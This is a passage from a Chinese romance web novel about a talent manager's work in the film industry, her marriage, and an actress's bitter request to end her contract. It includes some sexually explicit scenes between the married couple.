安托万颇为惊讶，也用法语回了句：“谢谢，我很喜欢。你会法语？” 林意点点头：“大学学过，但讲得不好。” 安托万大笑：“说得很标准。” 沈灼在一旁适时补充：“她看过你所有的电影。” 安托万来了兴趣，侧头问林意：“那你最喜欢哪一部？” 林意怔住了，眼神不自觉地飘向沈灼，迟疑了一下。 沈灼投给她一个鼓励的眼神，笑说：“别怕。” 林意又开始磕磕绊绊地说了下自己的感受，有时候英语说着说着还下意识蹦出来个中文词，沈灼在一旁听着，感觉小助理特别可爱。 她点了两碗炸酱面，一碗给安托万，一碗和林意分着吃，还有当地一些特色菜，比如爆肚儿，麻豆腐，宫保鸡丁，豌豆黄，摆了一整桌。 整顿饭下来，沈灼一句试镜或项目相关的话都没提。她始终谈笑风生地引导着气氛，听安托万讲他几次来中国的经历，又顺势给他推荐了几处A市的著名景点。 饭局结束已将近八点，沈灼主动帮安托万叫了车，叮嘱司机地址确认无误后才准备离开。 “林意，你家在哪儿？我送你回去。”她拿出钥匙，解锁车门。 “哎，不用啦沈灼姐，你把我放附近地铁站就行，我坐地铁就可以了。” 两人一左一右上车，系好安全带。沈灼看了眼导航，“说下地址我看顺不顺路。” 林意报了小区名，她看了下要绕路二十分钟。沈灼点了下途经点：“不远，我送你。” 车子驶入夜色，城市灯光在前窗缓缓掠过，沈灼忽然开口问：“林意，你有想过以后做什么吗？” 林意一愣，莫名有些紧张：“啊？沈灼姐，怎么了么……”她有点不知道沈灼什么意思。 “没有，我是说，你难道只想做个助理吗？” 林意心吓一跳，天呢，这是让她辞职的节奏？ “沈灼姐，是我哪里做的不好吗……”林意看向她的眼神都有点慌乱了。 “当然不是了，”沈灼笑了下，看给孩子吓得，“我是想说助理这份工作其实没有太多的技术含量，其实你可以去个更大的平台或者公司。” 作为她的助理，确实需要的专业性不多。这个岗位既不需要像经纪人那样直接接触艺人，了解圈内生态，也不是那种能直接带项目锻炼工作 能力的。 林意几乎只是帮忙记录会议纪要，提醒她日程安排以及一些零零碎碎的杂事，估计做的最熟练的就是贴发票报销了。 而且杨瑞泽又是个抠搜的老板，助理的工资并不高，林意工资税前才六千，扣掉五险一金到手也并不多。就这，还是每年沈灼帮她争取涨点才涨到这个数的。 “我今晚听你和安托万的交流十分好呀，给我干助理实在是屈才了，我一姐们在怡华，她前几天和我说她们正在招海外版权采购，你想不想去试试？我帮你内推。”沈灼说。 林意听着，有些受宠若惊，都忘了回答，半天才憋出来一句：“可我……我没有经验……” “你刚来的时候确实没有经验，但是我现在让你分析一个电影或者剧本，你已经知道该从哪些点去分析了，而且和导演交流的不是很好吗，你的英语也没有问题。” 沈灼笑了下：“没关系，我只是觉得这是一个可以尝试的机会，你如果想去试试，就和我说。” 林意点了点头。 * 安托万在A市停留五天，关司予的试镜安排在第四天。当天，沈灼按照约定时间带他到摄影棚。关于这个项目，目前一点消息都没有，保密性做得很好。 关司予等待面试，沈灼和小芸在棚外的咖啡厅等他。 沈灼觉得关司予还是有很大的可能成功拿下。安托万的首要标准是演技，次要就是英语口语要好。关司予全英交流完全没有问题，不过她只知道主角是亚裔，至于是东亚还是南亚，那还是有些许区别的。 还得看导演心中的“那个角色”具体是什么样。 试镜结束后，关司予出来，不说好也不说不好，只说等消息。 沈灼笑了下：“平常心就行了。”若真成了，那是意外之喜；没成，也没什么损失，至少还和国外知名导演建立了联系，以后说不定还能合作。 * 转眼进入八月，沈灼之前为关司予安排的驾校课程也正式开始。她让小芸陪着他去练车，顺便拍些照片和视频做素材物料。 来回奔波的日子暂时告一段落。反倒是邵成章，北美的快闪店定了日子开业，邵成章要参加开业仪式。 她洗完澡发现邵成章的行李箱还平铺在地上，空空如也，一点都没收拾。 “怎么还没收拾？”沈灼走过去问。 “不想出差。”邵成章坐在床边，抬头看她，一脸不情愿，“好不容易你不忙了，别等我回来你又要忙起来了。” 沈灼连说三声“呸呸呸”，“行了啊别乌鸦嘴。”沈灼催促，“别赖着了，快收拾，早点睡，明天还要飞十几个小时。”邵成章的航班是晚上，意味着他还得上一天班之后再坐将近13个小时的飞机。 邵成章慢悠悠地说：“明天在飞机上也能睡，不如我们先做点别的？” 沈灼白了他一眼。 “我说的是我先帮你吹干头发嘛……”邵成章起身，拿了吹风机过来，让沈灼坐到床边。 他很喜欢沈灼那一头黑发。 她的头发从没染过色，没有遭受过漂白剂的迫害，发质柔顺光亮，像丝缎一样。邵成章很喜欢手指插入她的发间，尤其是在亲吻和做/爱的时候。 指尖滑过的触感总让他心神荡漾，扣住她的后脑勺，让她全力接纳包裹自己。 吹风机打开，嗡嗡响起，邵成章一手握着风筒，一手伸进她柔顺的发间，手指贴着她的发根，缓慢地向外带着。 快吹干的时候，他挤了两泵护发精油帮她抹在发尾，熟悉的山茶花味道萦绕在鼻间。 彻底吹干之后，沈灼挑眉，仰着头笑看他：“吹完头发还想干什么？” “你。”邵成章直接俯下身，大掌搂着她的下巴，亲了她一口。现在说的更简单直白了。 沈灼无语地笑了，她推开他，站起来：“先收拾行李。” 她拿起手机查了下纽约的天气，也不比A市凉快多少。邵成章这次要去五天，沈灼详细问了他的行程安排后，站在衣柜前开始给他搭衣服。 他从背后伸出双臂圈住她的腰，整个人懒洋洋地贴了上去，脸颊贴着她的头顶，抱着她摇摇晃。 邵成章的衣服很好搭配，都是黑白灰色居多，沈灼从衣柜里给他挑了两件POLO衫，两件衬衫，两件打底T恤，三条西裤，一件亚麻西装，一件偏正式的西装，百搭。 “你确定要带这么大的箱子吗？”夏装没有那么厚重，这些装进去一半都不满。 邵成章点点头。 沈灼略一转脑子，似乎猜到了，警告他：“可以给妈妈们或者朋友带礼物，但是不需要给我买哦。” 邵成章叹气，老婆这么聪明似乎也不是件太好的事情。 “为什么你不要？” “我没有什么想要的呀，有想买的就直接买了。”上次邵成章送她的一堆高奢，她连包装都还没拆，都放在衣帽间。想想花了那么多钱她就心痛，还不如直接折现给她。 她就是个俗气的人。 而且，沈灼不喜欢别人盲目地送她礼物，压根不是惊喜。万一她不喜欢，又不能说，会辜负别人的心意，但自己也没多开心，还要记着人情要还。就连姜珺过生日，她都会提前问好想要什么，送礼又不是送钱，当然是要给对方真正想要的。 邵成章不想和她在这方面争执，他先好好答应着就是了。 他让沈灼先去休息，他进行行李的收尾工作。 沈灼捏捏他的耳垂，笑说：“邵贵人如此贴心，今晚就翻你侍寝吧，洗漱好凤鸾春恩车就来接你。” “好。”邵成章笑着，“今晚臣让皇上知道，什么叫颠鸾倒凤不知天地为何物。” 第57章 陈姨一般等着俩人上班之后就开始排着打扫卫生，没想到直接撞见小夫妻在门口拥吻。 邵成章一手按着电子门把，另一手紧搂着沈灼的腰，两人贴得极近，正吻得难舍难分。 陈姨一个后退大撤步，躲在墙后面等了几秒后，她又忍不住捂着嘴悄悄探头偷看。 要不说还得是年轻人呢，又激情又热烈，她都听得见唇舌交缠的啧啧水声，听得老脸都一红。 她掏出手机，打开相机，对着二人就是“咔嚓咔嚓”，结果陈姨也忘了自己拍照还有快门声音，门口两人顿时停下，循声看去，见陈姨僵在原地，手还举着手机。 一想到刚才，沈灼脑子“轰”的一下，脸一下烧到脖子，她头一埋，直接锤在邵成章左胸。 都怪他！都怪他！都怪他啊啊啊！ 邵成章表面十分淡定，但如果沈灼这时候抬头看他，就会发现他的耳尖也十分红了。 邵成章冲着陈姨淡淡一笑：“陈姨，我们先走了。” 陈姨尴尬笑笑：“哎好好，邵总出差顺利啊。” 邵成章揽着沈灼，拉着行李箱离开。 出了门，沈灼快步去按电梯，站在两米远的地方瞪着他。 此时此刻，他还在装淡定：“没事儿，陈姨又不是外人。” 那也……足够尴尬了！见他还抿着嘴笑，笑得她还想再锤他一拳。 下电梯出地库，各自要上各自的车，邵成章一把拉住她，问：“还要不要亲了？” 沈灼嗔怒着，甩开他的手。 “那我走啦？”他推着行李箱刚走两步，就听见她叫住他。 邵成章回头，只见沈灼快步跑来，在他嘴角轻啄一下，凑在耳边说：“顺顺利利。”说完飞快跑回车里。 邵成章盯着她的背影，嘴角抑制不住地上扬。他疾步走到她车旁，在主驾车窗玻璃上弯腰哈了口气，而后伸出指尖在玻璃上画了个心。 沈灼看得目瞪口呆，等反应过来——天啊啊啊啊啊！ 好土！！！ 除了小孩儿，谁还会用这么土的方式表白了啊！ 快走，快走吧……沈灼迅速启动了车子。 邵成章失笑 ，心道，老婆怎么还是这么容易害羞啊。 他给沈灼发了一条消息：“老婆，带着我的爱上班吧[爱心]” 沈灼在路上等红绿灯的时候看了眼手机，看到他发的消息直接无语地笑出声，她的心情只有六个点能表达。 沈灼回复：“闭嘴吧你。”随后手机扔到副驾驶上。 邵成章也准备驱车出发，临出发前，他还给陈姨发了条消息：“陈姨，麻烦把照片发我一份。” 陈姨的手机拍照功能很一般，收到照片的邵成章放大放大再放大，也看不清沈灼的表情，模模糊糊的。他突然发现，他和沈灼竟然没有一张合照。 想起她约定以后一起出去旅行，邵成章觉得这事得安排上。 * 沈灼刚到办公室不久，林意就来找她了，说自己想试试。沈灼听到这个决定很开心，让林意把简历发她，她直接内推过去。 关司予的杂志拍摄日期定下来了，下午需要和《INDIGO》杂志的编辑和摄影开会沟通服装造型事宜，等结束之后已经七点多了。 沈灼猜测邵成章应该已经到达机场在候机了。她拿过手机，发现置顶那位唯一的男士给她断断续续发了十几条消息。 17点，“老婆，我准备出发去机场了。” 17点42分，“老婆，我到机场了。”配了一张机场图。 18点06分，“老婆，我办好值机啦。” 18点08分，“老婆，我那么大的老婆呢[问号脸]” 18点12分，“过海关，好长的队伍哦。” …… 沈灼看他事无巨细地报备全程，嫌他碎碎念烦却又忍不住笑起来。 她引用了18点08分的那条消息，回复：“在呢在呢，刚开完会。” 邵成章回复：“我已经登机了。”顺手拍了一张图过去。 沈灼回：“好。” 这回复怎么好像在应付工作一样？ 邵成章：“你好冷漠。” 沈灼：“？” 邵成章：“马上要有十六个小时断联，你就和我说这些吗[委屈]” 沈灼：“我怕我说了，某个恋爱脑会把持不住。” 邵成章：“我看看谁是恋爱脑。” 沈灼：“其实，现在我已经开始在想你了。” 邵成章看到她说想你就已经止不住笑了。 邵成章：“怎么想的？” 沈灼：“眼睛想见你，鼻子想闻你，嘴巴想亲你，手臂想抱你，双腿想缠你，双脚想蹭你，全身上下都在想你。” 邵成章看见回复，嘴巴简直要翘到天上去，恨不得现在下飞机直接去找沈灼。 邵成章：“是不是还漏了一个地方，嗯？” 沈灼：“嗯，想吃了你。” 邵成章快要爆炸了。 林意此时敲门进来，想问沈灼还有没有安排，探头一看却见她脸颊绯红。她瞄了一眼空调，24度也不热吧…… “姐姐，你热吗？”林意问。 沈灼抬头，手背贴在脸上，才惊觉自己的脸这么烫。 邵成章还想回复什么，空姐告知他飞机马上就要起飞了，邵成章告诉沈灼他要断网了，沈灼没再逗他，说了个“起落平安”。 * 三天后，沈灼难得在朋友圈刷到了邵成章的发布，不过还是工作相关。 他转发的是Dreamora的官方文章，庆祝品牌成功进军北美市场。文章里面配了一些图，大部分都是门店和产品相关，沈灼只在一张图里的边缘看到一个熟悉的身影。 邵成章真的低调，就连这种时刻，文章里都是北美区负责人发言，全篇找不到邵成章三个字。 晚上，沈灼估摸着时差，猜他这会儿该醒了，便打了个视频过去。 铃声响了好一会儿才接通，画面晃动一下，邵成章半边脸埋在枕头里，眼神还迷迷糊糊的，头发乱翘，嗓音低哑：“老婆……” 沈灼略一皱眉：“喝酒了？” “嗯……昨晚庆功，一直到四点多才散。”他说着，轻轻揉了揉额角。 沈灼一推时间，这睡了才不到五个小时，她问：“难不难受？头疼吗？” “有点。” “那你赶紧再睡一会儿吧。”她看着他那一副半梦半醒的样子，语气轻柔，“我不吵你，把手机调静音，睡醒了再说。” 邵成章摇摇头，努力睁开眼睛盯着她道：“没事儿，你别挂。” 沈灼哄他：“你再睡两个小时，我等着你好不好？” 邵成章依旧摇头：“我想和你聊天，想听你的声音。” 小狗粘人，又不是第一天才知道。少见邵成章一脸惺忪未醒的时候，眼神软软的，乖到不行。 沈灼将枕头垫在身后，靠着床头，举着手机说，“给你讲个故事吧？” “好……” “那闭上眼睛。” 邵成章听话地阖上眼睛。 沈灼清了下嗓子，想了想，说：“从前，有只小花猫，性格又倔强又独立，白天晒太阳睡大觉，晚上就出门觅食，谁也不搭理，总是一副谁也不需要的样子。” “但有一天，小猫在院子里遇到了一只笨笨的小狗，小狗跟小猫打招呼，它理都不理，可第二天，小狗又来了，第三天、第四天都来了，还给它带自己最喜欢吃的骨头。” 邵成章嘟囔着：“小狗应该带条鱼。” 沈灼笑起来，接着讲：“小猫也觉得小狗傻透了。有一天小猫问小狗，你为什么总来找我？小狗说，因为喜欢你呀。小猫说，可所有的猫咪都长这样，你为什么不喜欢别的小猫？小狗说，因为你就是你呀，你的性格和别的小猫不一样，眼睛、毛色、体态都不一样，你就是你呀。就算你变成了兔子我也会认出你来。小猫想，你可真是一只傻狗，我怎么可能变成一只兔子呢？可不知不觉，小猫每天都开始在同一个时间醒来，等着听那只小狗傻呼呼地叫它名字。久而久之，小猫习惯了有人在门口等它，也习惯了被人惦记。” “后来呢？” “后来啊……”沈灼看着手机里的他，几乎要合上的眼睛了，笑意温柔，“小猫把小狗拐回了家，然后他们就一直一直……幸福地住在那个院子里，春天听雨，夏天睡风，秋天数落叶，冬天就互相依偎着取暖。” 她讲完，手机那头已经没有回应了。 邵成章睡着了，呼吸平稳，脸贴着枕头，眉眼带着一点浅浅的笑。 沈灼看着屏幕，像是心也被窝在了什么柔软的地方。 “好好睡吧，我的小狗。”她轻轻说。 沈灼没有挂断电话，像之前无数次邵成章等着她一样，她将手机放在床头充电，以便他醒来一喊她，她就能听见。 邵成章醒来时，有些意外地发现视频还在通话中，只不过镜头那边没人，只有一片卧室的天花板，通话时长已经进行了两个小时二十分钟。 “老婆……”邵成章喊她一句。 “你醒啦？”沈灼立刻应了一声，“等一下！” 她还在护肤，擦完水乳才拍着脸走过来。镜头 里她素颜朝天，气色红润。她把视频切到放大模式，对着屏幕端详起自己的脸。 “果然最近不忙，皮肤都变好了。” 沈灼左右微微侧了一下脸，拿视频当镜子用观察皮肤，自我欣赏中，十分满意自己现在的状态，殊不知镜头那边的人看得心猿意马。 邵成章本就很喜欢沈灼刚洗完澡的样子，水汽氤氲的脸颊和嘴唇泛着微红，眼神又清又亮，就很想抱着她亲，压在身下狠狠欺负。 偏头靠近镜头，又忽然拉远，她身上穿着那件海蓝色吊带裙，灯光下更衬得肌肤白得晃眼。 他盯着屏幕，呼吸下意识慢了半拍。邵成章撑坐起来，被子半滑到腹部，露出一整个胸膛，一只手摸入到了被子之下。 瞥到邵成章的动作，沈灼又把他的画面点开放大了，视线一直流连在他的胸口。 “你怎么都不穿睡衣啊？”她噙着嘴角，嘴上这么说着，但一点没有责怪他的意思，反而还很兴奋。 “嗯……老婆，我不穿，你也不穿好不好？”邵成章深深吸了一口气，克制着声音。 真是司马昭之心啊。 沈灼斜他，切了一声，“你想得美。” 邵成章却没有回应，只见他微微仰头，头靠在床头上，沈灼可以看见突出的喉结微微滑动，胸腔起伏的频率越来越快。 “邵成章，你在……做什么？”沈灼心中好像已经猜到了，但还是忍不住问他。 “嗯……”邵成章没回答她的问题，反而提出要求，“老婆，我想听你的声音。” 沈灼凑近了点，声音也不由得低了些：“你是不是在做坏事？” 邵成章头微微抬起，鼻翼翕张，眼睛微眯着看她。 “我，勃/起了。” 第58章 沈灼觉得中文真的很奇妙，明明同一件事不同的说法却给人不同的感觉。 就像勃/起和做/爱，给人的感觉却是风流不下流，色/情不淫/荡，把这一动作说得文质彬彬。 这四个字犹如火舌般舔过她的耳膜，在她的大脑炸开。邵成章的眼神像是一把利刀，已经将她的睡裙撕开，让她整个人赤身暴露在他的视线之下。 尽管家中无人，房子的隔音也很好，可沈灼还是下意识地找出耳机，带上。 邵成章性感的喘声和磁性的闷哼声通过电流直接钻进她的耳朵，连空气都休想沾染得到。 沈灼盯着屏幕里的他，失焦的眼睛的情潮欲念，紧绷的下颌线和闭起的薄唇出卖了他的克制和理智。 “宝宝，在想什么？”沈灼的脸也红了，小腹一阵阵收缩。可她偏想挑逗他，看他失控，看他失态，看他因为自己失去自制力，崩溃与快感同时决堤的样子。 “想你……”邵成章力道加重了不少。 “我在你转发的文章里看到你的照片了，穿的西装对不对？”沈灼软着声音说，“你的那些员工知道他们白天还衣冠楚楚的老板，在床上是什么样子吗？” “又骚气又迷人。”沈灼嘘声说，“我好喜欢。” “嗯哼……”邵成章终于释放出来，然后张开嘴巴呼吸着，眼神渐渐聚焦，他看清对面人酡红的一张脸，但眼睛又清又媚，实在像个妖精。 沈灼仗着他不在身边，轻笑着说道：“怎么这么快啊，老公。” 邵成章正在那边清理手掌，听她一说，抬眼盯着她，“说什么？” 沈灼趴在床上，睡裙的领口大，微微敞着，露出了一片嫩白皮肤，但刚好遮住了那一点，因为挤压，出现了一条深沟。 邵成章目光变得幽深，他忍不住舔了下唇，只觉瞬间空气燥热难耐，欲根又有崛起之势。 “说你好快啊。” 邵成章恨不得穿进手机里，把她狠狠钉在自己身上。他深吸一口气，咬着后牙说，“回去你就知道快不快了。” 沈灼见他这副样子，得逞地笑起来，“好啊，我等着你。” 邵成章那边已经十一点多了，他中午还有个饭局，沈灼不闹他了，放他去洗澡。 挂了电话，沈灼只觉内裤也一片湿凉，她翻身下床找了一条新的换上，她才不要告诉他，仅仅是听他喘，她也有反应了。 还是等他回来，自己亲自感受吧。 * 邵成章回来的这天，沈灼本想着早点回家迎接他的，没想到公司艺人赵佳语突然约她吃饭。 赵佳语是她三年前签进来的艺人，那会儿她已经演过小成本的网剧了，沈灼觉得未来可期，趁着她还没签公司直接把她签了过来。 饭桌上，赵佳语和她说，自己想解约。 沈灼惊讶：“为什么？” 赵佳语冷笑一下：“看来沈灼姐真的是太忙了，你知道吗，我已经半年都没接到过戏了。” 沈灼说：“我记得你经纪人是雨菲吧？你没找她聊聊吗？我这边最近收到的剧本，都没有太适合你的角色。” “找她能有什么用，她现在宝贝的可是宋越彬，哪还顾得上我们？” 沈灼一皱眉：“我知道了，我最近会和她谈谈，但解约要慎重，我记得你是五年约，没到期可是要付违约金的。” “我知道。”赵佳语说，“但我坚持解约而且我不会付违约金的。” 沈灼疑惑地看着她。 赵佳语说：“我已经找律师看过合同了，说实在的，如果打官司我未必会输，至少公司承诺的代言没有给到我，进公司三年多了只拍了一部女主戏，到现在还没播，更别说给我花钱营销了……” 赵佳语也是有点倒霉，那部女主戏里的女二出事了，制作方一直没给个准确答复是要补拍还是换脸，但不论哪个花费都巨大，于是就这么一直拖着。 沈灼抿着唇：“那你找我来吃饭是？” “我心里还是不想打官司的，毕竟鲸禧的同事们都很好，闹僵了也不好看，我想请你和杨总说下，我们双方自愿达成解约。” 沈灼摇头：“我不能保证可以说服他。”毕竟杨瑞泽拿他们当赚钱工具，这白送的几百万他一定不会不要。 赵佳语无奈地笑了一下：“好吧，那我只能走诉讼了。” 沈灼签下的艺人提出解约，甚至要和公司打官司，这并不是个让人开心的消息，一顿饭兴致全无。 赵佳语却是热情，让沈灼多吃点，“说不定这是我们坐在一起吃的最后一顿饭，之后可能就不会再见了吧。” 沈灼说：“怎么，离开公司打算就不演戏啦？” 赵佳语没回应她的问题，只自顾说：“沈灼姐，你记得吗，咱们俩吃的第一顿饭就是在这个餐厅，我还记得是坐在那边靠窗的位置。”她说着指了一下。 沈灼微微一怔，她没想到赵佳语还记得这个，她的记忆已经有些模糊了。 “一会儿要不要去喝一杯？”赵佳语说，“你请我吃饭，我请你喝酒啊。” 沈灼现下只觉心中酸涩，点头说好。 两个人离开餐厅，去了附近一个高空酒吧，店里放着爵士黑胶，氛围十分适合小酌聊天。 一人点了一杯鸡尾酒。 “沈灼姐，你知道吗，我到现在都记得你当时找到我，说要和我签约的情景，还是在公司旁边的咖啡厅见面的。我当时特别高兴，因为那会儿家里原因，他们并不想让我当演员了，觉得不如回家安安稳稳地找个班上。可是你找到我了。” 赵佳语抿了口酒，笑说：“你当时和我说的每句话我都记得。我想，我的天啊，影后的经纪人找到我说要签我诶，那我肯定有什么过人之处，我一定是特别特别有潜力，这娱乐圈未来一定会有我的一席之地的，所以你让我回去考虑的那个晚上，我根本没再考虑，我一晚上都在幻想。” 沈灼听着，心情有点复杂。 “我幻想我也可以像步繁那样，演电影、获奖……”赵佳语自嘲地笑了下，“我还幻想，在颁奖典礼上我要说什么呢？大家好，我是演员赵佳语… …” 赵佳语声音突然哽咽，沈灼突然间不敢去看她的眼睛。 “可现实是什么啊，别说获奖词了，我连颁奖典礼都没去过。”赵佳语红着眼圈说，“幻想终归是幻想，而现实就是第一年演了部女主戏，第二年演了两部女配，第三年甚至已经接不到戏了……而和我合作的男主演，已经可以和大花合作了。” 沈灼遗憾地说：“对不起。” “你不用跟我道歉。”赵佳语笑了一下，眼底却没笑意，“或许就和雨菲说的一样，我也没有什么演戏的天赋吧，演技就那样，所以人家导演不用我。”赵佳语的酒已经下去了一半。 沈灼眉头微动：“雨菲这样说过？” 赵佳语轻描淡写：“忘了，不过这都不重要了不是吗。” 沈灼顿了顿，又问：“你打算接下来怎么办，有想去的公司吗？” 赵佳语摇头：“喜欢有什么用呢，反正也没导演用我，不如回老家。” 她一口气喝完杯中酒，又招手招呼侍者再点一杯。灯光下，她脸颊透着一层微醺的红。 “沈灼姐，我真的很喜欢你。”赵佳语抬头看她，语气真挚却沉沉，“但我也真的……很讨厌你。” 沈灼怔住。 赵佳语轻笑一声：“如果你当初没来找我，我可能早就回老家了，找了份普通工作，就不会和傻子一样，每年都在期待，然后看着每年的期待都变成泡沫，你体会过这种心情吗？” 对赵佳语来说，沈灼的真心变成了一把利剑，希望化成了一个个伤口。 酒精像是一个情绪阀门，一打开，所有的情绪都藏不住了。 赵佳语说：“我本来以为你签我，你会是我的经纪人，结果呢？你当时说你带的艺人太多，把我交给了雨菲，第二年你升了总监，说你只带一个新人。我心想，我也算新人吧？结果你选的是关司予。公司里都传他家里很有背景，可是最佳新人买不来，就算宣发公司帮买票房也不可能买几个亿……我不甘心也恨自己的不争气。” “你说你想带一个新人从零到顶峰，为什么……不考虑我呢？”赵佳语刚刚已经说出了答案，但她就是不甘心啊。 沈灼垂下眼睫，点的百利甜椰椰，此刻也不甜了。 “抱歉，我不知道你有这样的情绪，但是在这个行业里女演员的演技之路就是特别难。” “是啊，很难。”赵佳语突然说，“但你不觉得你自己特别虚伪吗？” 沈灼怔住，她实在没想过赵佳语会这么想她。 “你都知道女演员竞争大又辛苦，你去选个男演员，还美其名曰想看看自己的能力能不能带新人，你还不如说因为关司予的背景被迫带他，我心里还能接受一点。你选了最稳妥最保险的一条路，却又偏要把自己说得像个有坚持有原则的人。” 沈灼沉默半晌，才缓缓开口：“赵佳语，你误会了。我当然想带女演员，我最大的希望就是每个有演技有天赋的女演员都可以站在镜头前，被大众看到。但你知道这个行业对女演员比男艺人更难在初期被认可、更难获得资源。我是带出过影后影帝，但我也知道那只能说明我有选片的能力，光环是艺人自带的，不是我给的，你明白吗？是因为那是步繁，导演用她，而不是她的经纪人是沈灼，才用她。” 赵佳语摇头，冷笑一声：“别在这又当又立的了。你没有那个勇气，也没有那个胆量，就别说什么希望理想。不选我们，不过是你在自欺欺人。” 沈灼不想再与之争辩，“但这些年，公司对你的规划确实存在问题。这点我承认，作为你的经纪团队，是我们的失职。” “我不需要道歉，毕竟合约也是我自愿签的，你真觉得抱歉，就帮我争取一个和解吧。”赵佳语突然站起身，“酒钱我已经付过了。沈灼姐，再见。” 赵佳语走后，沈灼又坐了一会儿，消化了一下情绪才打车回家。 在回程的车上，她靠着车窗，打开微信，给赵佳语现在的经纪人雨菲发了消息，索要一份最新的演员资料。对方很快就发了过来，她一页一页翻着，神情却越来越沉。 按照鲸禧合同上的签约标准，赵佳语这几年的商务代言其实都没完成约定，如果打官司她确实有胜算。但这几年经济下行，杨瑞泽不再走之前定制化路线，而是广撒网，先签进来，哪个有爆红的苗头就力捧，导致一些小演员的发展确实受阻。 小演员卡在合约里，接不到好剧，又不能自由跳槽，像是被困在一个温吞的牢笼里，熬着、耗着……沈灼忽然觉得很难过，不只是为赵佳语，也为这个畸形的行业，为她曾经坚信可以改变些什么的理想。 * 沈灼回到家，看见邵成章直接小跑过去抱住他，巨大的冲击力撞得他抱着沈灼往后踉跄两步才稳住。 “这么想我啊”邵成章低笑着问她。 她抵在他的肩窝只点头，不说话。 “是加班太累了吗？”他察觉出来沈灼情绪似乎有些低落。 沈灼摇摇头仍然没说话。 “让我看看。”邵成章扶着她拉开一点距离，“怎么几天见到我也一点都不开心呢？” “开心。”沈灼再次抱住他，闷在他的怀里，说，“邵成章，我们做吧。” 第59章 沈灼很少说得这么直白，每次想做了，她会有意无意地勾他。眼神一碰撞，他就知道她想干什么了。 邵成章捏着她的下巴低头亲了一口，她的嘴唇上还有点酒的味道，甜甜的。 “喝酒了？” 沈灼点头。 “你不会是背着我和哪个男人去喝的，觉得对不起我所以——” 沈灼踮脚咬在他下巴上，打断他，“你在想什么呢！” 邵成章拍拍她的后背：“那先去洗澡？” 沈灼说声好，然后放开他去了浴室。 她频频想起赵佳语那双泛红的眼睛，哽咽着的声音，像钝刀子似的，一点点划着她心口。她第一次觉得自己是不是错了。是她给了一个人希望，又让一个人的希望变成泡沫。 沈灼站在花洒下，仰起头，热水从额角淋下，顺着脸颊滑落，一同滑下来的还有眼角的眼泪。 让她难过的不止是赵佳语的解约，还有她的话。 她惊觉赵佳语也许说的就是对的，她潜意识里就是害怕，就是没胆量，还要给自己找一堆冠冕堂皇的理由说服自己和别人，伪装自己的软弱。 她口口声声说不想耽误女演员，不过是一种怕失败的回避，不想承担失败的借口。难道将关司予带到影帝的地位，她往后就会选择女新人演员吗？她发现自己根本回答不出来。 赵佳语说的一点没错，她就是个又当又立的人。想保留自己的理想主义，又不肯放下利己的算计。她一边责怪市场和资本不公平，一边又成为这个系统运转的齿轮。 她对赵佳语愧疚，但更深的，是对自己失望。 原来自己是这样的人，懦弱又虚伪。 沈灼说不出来为什么，但就是想哭，洗完澡出来眼睛还是红的。 邵成章也不说什么，只帮她吹干头发。 吹完头发，沈灼将他摁坐在床上，跪坐在他身上，她现在什么都不想思考，她只要生理的快感冲淡心理的难过。 她捧着他的脸，亲了上去，可邵成章动也不动，甚至都没有闭上眼睛。 没有得到想象中的回应，沈灼抱住他的肩膀，和他贴在一起，蹭着让他感受自己的所有。没一会儿，她已经感觉到了他的欲/望，可邵成章依然没动，只是深深地望着她，任由她撩/拨，这根本不像以前的他。 “你不想我吗？”她的声音有点委屈，也有点可怜。 “想。”邵成章低哑着声音开口，“可我更想知道你今天发生了什么事。” 沈灼松开他，反驳道：“我没事。” 邵成章说：“你的眼睛到现在都还是红的。” 沈灼垂下眼睫，遮住发红的眼圈，“是刚刚洗发水进眼睛里了。” “沈灼。”邵成章突然严肃起来，“如果你不想告诉我可以不讲，但不要用这种拙劣的谎话来骗我。” 沈灼一顿，喏喏地说：“对不起，我真的没事。” 她要怎么说？她现在自己都说不明白，没有实质性要解决的问题，只有一堆乱如麻的情绪，她自己消化好 就可以了。 她从他身上下来，掀开被子躺了过去，她闭上眼睛像是一副要入睡的样子，却从眼角溢出一滴泪，眼泪顺着从太阳穴流进鬓角。 没一会儿，却感觉眼角那里传来温热的触感。 沈灼睁开眼，发现邵成章正撑肘低头温柔地望着她。 “为什么要哭，嗯？”邵成章声音都轻轻的，他牵起她的手，在她手背上落下一个又一个的吻。 沈灼没有哭，她在浴室哭完之后好一些了。刚才纯粹是因为她的泪腺发达，常常莫名其妙地就会流眼泪，和情绪无关。 她翻了个身，拱进他怀里，脸贴着他胸膛。邵成章顺势抚着她的后背，轻轻拍着，一下下，像哄小孩子 原本以为那些情绪已经暂时过去了，可是被他这样一哄，却又像被戳中了什么地方，一种委屈翻涌而上。 她眼眶再次发热，没忍住，又默默地流起泪来。 邵成章这次也不问了，只是告诉她：“有的时候，我真的希望你可以需要一下我，不要什么都自己担着。但如果你想说也没关系，你只要知道，不管有什么事，我都会在。” 好一会儿，沈灼带着厚重的鼻音开口：“邵成章，之前我签的艺人和我说要解约……” 邵成章安静地听她倾诉。 “……其实仔细一想，她好像说的对。我之前一直觉得自己很有原则，很有坚持，可今天才知道，我根本不是我想象中的那种人。” “这不是很好嘛？” “好什么啊！”沈灼有些恼，推开他抬起头，却正撞进他一双专注又温柔的眼睛里。 “你知道吗，很少有人能在被指责后，不是辩解，不是反击，而是真诚地开始反思自己。”邵成章眼里没有嫌弃，反而全是欣赏，“能承认自己的矛盾和软弱，说明你比你想象得更清醒啊。” “可是清醒没有用啊，我现在很犹豫我做的对不对，如果以后还有像赵佳语的人怎么办？” “一定会有的。因为不可能人人都是步繁啊，可你不能因为这个就不去做了。” 因为不可能人人都是步繁……是啊，一年只选一个影帝影后，那是不是意味着其他演员都不值得培养？一个项目亏损，是不是就说明所有人的努力都白费了？当然不是！ 邵成章看着她，目光沉静理性，“你已经为她争取过、努力过，那部分你该承担的你已经承担了。剩下的是她自己的人生课题，她必须学会面对，而不是你对她负责。” 他伸手轻轻捏了捏她的指尖：“而且你的考量并非没有道理，你也说过，整个影视行业的资源还是往男艺人这边倾斜的，所以先站稳脚跟再推动改变是很正常的规划。” “所以你可以换个角度思考问题。如果你对现有资源配置不满，与其纠结过去的选择，不如往前看，尝试去挖掘有潜力的年轻女演员，或者关注女性题材内容项目，让女演员有更多的演出机会。这些说不定就会成为你对抗行业里的扳手。要知道你现在走的每一步，都只会让你离最终目标更接近，所以为什么要难过呢，反而你正视了自己，接受了自己，让我都觉得敬佩。” 沈灼细细琢磨邵成章的话，想了好一会儿，思绪渐渐清明。 她才发现自己陷入了赵佳语的陷阱里，她把对方的失意和失败全盘接过，归咎于自己的决策和能力。 